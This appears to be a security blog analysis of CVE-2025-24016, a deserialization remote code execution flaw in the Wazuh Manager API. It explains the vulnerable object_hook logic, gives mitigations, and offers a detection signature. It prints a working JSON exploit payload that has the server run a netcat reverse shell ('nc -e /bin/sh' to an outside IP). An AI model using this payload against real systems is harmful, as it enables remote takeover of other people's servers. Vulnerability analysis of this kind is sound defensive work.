Feb 18, 2026·6 min read·55 visits
Critical RCE in Wazuh Manager (v4.4.0 - <4.9.1) via unsafe JSON deserialization in the API. Attackers can execute root-level commands by sending crafted JSON payloads containing special Python object hooks (like `__class__` and `__callable__`). Actively exploited by Mirai botnets.
In a twist of irony that would make Alanis Morissette proud, the Wazuh security platform—designed to hunt threats—became the threat itself. CVE-2025-24016 is a critical (CVSS 9.9) Remote Code Execution vulnerability residing in the Wazuh manager's API. By abusing a Python JSON deserialization feature intended for internal object reconstruction, attackers can force the server to execute arbitrary commands merely by sending a polite JSON request. Active in the wild and leveraged by Mirai botnets, this flaw turns your security dashboard into a command-and-control node for the very adversaries you were trying to keep out.
Wazuh is the darling of the open-source SIEM world. It gathers logs, monitors file integrity, and hunts for malware across thousands of endpoints. Ideally, it is the fortress that keeps the barbarians at the gate. But what happens when the gatekeeper decides to let anyone in as long as they say the secret password? In this case, the password wasn't even secret—it was just standard Python syntax.
The vulnerability, CVE-2025-24016, lies deep within the Distributed API (DAPI) framework of the Wazuh manager. This component creates a mesh network between the dashboard, master nodes, and worker nodes, allowing them to share complex data structures. To make this communication seamless, the developers needed a way to serialize Python objects into JSON and back again.
Here is the rub: serialization is hard. Deserialization is harder. And doing it blindly on untrusted input is a cardinal sin. The Wazuh team implemented a mechanism that essentially said, "If this JSON looks like a Python object, turn it into one." This effectively gave remote attackers the ability to instantiate arbitrary classes and call functions on the underlying operating system, turning the security manager into a puppet.
To understand this bug, we have to look at how Python handles JSON. The standard json.loads() function is safe by default—it turns JSON strings into simple dictionaries and lists. However, Python offers a feature called object_hook. This is a callback function that the decoder invokes for every dictionary it parses. It allows developers to convert a dictionary like {"type": "alert", "id": 1} into a proper Alert class instance automatically.
Wazuh implemented a custom hook, likely named as_wazuh_object (or similar logic within framework/wazuh/core/cluster/common.py). This function was designed to reconstruct exceptions and specific internal objects passed between nodes. It looked for "magic keys" in the JSON, specifically __class__, __args__, __callable__, and __unhandled_exc__.
When the code sees __class__, it dynamically imports the module and instantiates the class defined in the string. When it sees __callable__, it prepares to execute a function. This is functionally equivalent to the infamous pickle vulnerability, but implemented manually over JSON. The developer assumed this internal API would only ever process trusted data from other cluster nodes. They were wrong. The API endpoint /security/user/authenticate/run_as was exposed, and it passed user input directly to this deserialization logic.
Let's look at a reconstruction of the logic flow based on the vulnerability analysis. While the exact source lines have shifted in the fix, the logic flaw closely resembles this pattern:
# pseudo-code of the vulnerable logic in wazuh/core/cluster/common.py
def as_wazuh_object(dct):
if '__unhandled_exc__' in dct:
payload = dct['__unhandled_exc__']
if '__class__' in payload:
# DANGER: Dynamic import and instantiation
module_name, class_name = payload['__class__'].rsplit('.', 1)
module = __import__(module_name, fromlist=[class_name])
cls = getattr(module, class_name)
args = payload.get('__args__', [])
# The server creates an instance of ANY class you name
return cls(*args)
return dct
# The trigger
json.loads(user_input, object_hook=as_wazuh_object)The vulnerability is stark. There is no allowlist. There is no check to ensure the class being instantiated is a harmless WazuhError or ClusterMessage. If an attacker requests subprocess.Popen or os.system, the code dutifully imports the subprocess or os module and executes the command.
This is a classic case of "CWE-502: Deserialization of Untrusted Data." The developers built a powerful meta-programming feature to make their lives easier (passing exceptions across the cluster) but failed to realize that exposed APIs would grant that same power to unauthenticated or low-privileged users.
Exploiting this is trivially easy once you have access to the API. You don't need buffer overflows or heap spraying. You just need to speak JSON. The attack targets the run_as authentication endpoint, which parses the request body using the flawed hook.
An attacker constructs a JSON payload that describes the execution flow they want. Instead of sending a username, they send a blueprint for a shell command. Here is what a weaponized payload looks like:
{
"__unhandled_exc__": {
"__class__": "subprocess.Popen",
"__args__": [
"nc -e /bin/sh 10.0.0.1 4444",
{
"shell": true
}
]
}
}The Kill Chain:
/security/user/authenticate/run_as.json.loads encounters the dictionary.object_hook sees __unhandled_exc__ and parses the inner object.subprocess.Popen. It imports subprocess, finds Popen, and calls it with the arguments provided (nc -e ...).> [!WARNING] > This is not theoretical. Akamai SIRT has confirmed that Mirai botnets are actively using this exact technique to enslave Wazuh servers, turning them into DDoS nodes. The irony of a security tool performing a DDoS attack is palpable.
The impact of CVE-2025-24016 cannot be overstated. It is a solid 9.9 on the CVSS scale. Why not 10? likely only because it technically requires network access to the API port, though in many deployments, this is exposed to the internal network or the internet for dashboard access.
Consequences:
If you are running Wazuh versions 4.4.0 through 4.9.0, you are vulnerable. The fix was released in version 4.9.1.
Immediate Actions:
__unhandled_exc__, __class__, or __callable__. This is a high-fidelity signature for this exploit.The Fix Analysis:
In version 4.9.1, the developers modified the as_wazuh_object logic. Instead of dynamically importing whatever the JSON specifies, the new code likely checks the __class__ name against a hardcoded list of safe, internal Wazuh classes. If the class isn't on the list, the deserializer throws an error or returns a plain dictionary, neutralizing the RCE.
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:H/A:H| Product | Affected Versions | Fixed Version |
|---|---|---|
Wazuh Manager Wazuh | >= 4.4.0, < 4.9.1 | 4.9.1 |
| Attribute | Detail |
|---|---|
| CWE | CWE-502 (Deserialization of Untrusted Data) |
| CVSS Score | 9.9 (Critical) |
| Attack Vector | Network (API) |
| Exploit Status | Active / Weaponized (Mirai) |
| EPSS Score | 93.80% |
| KEV Listed | Yes (June 10, 2025) |
The application deserializes untrusted data without sufficiently verifying that the resulting data will be valid.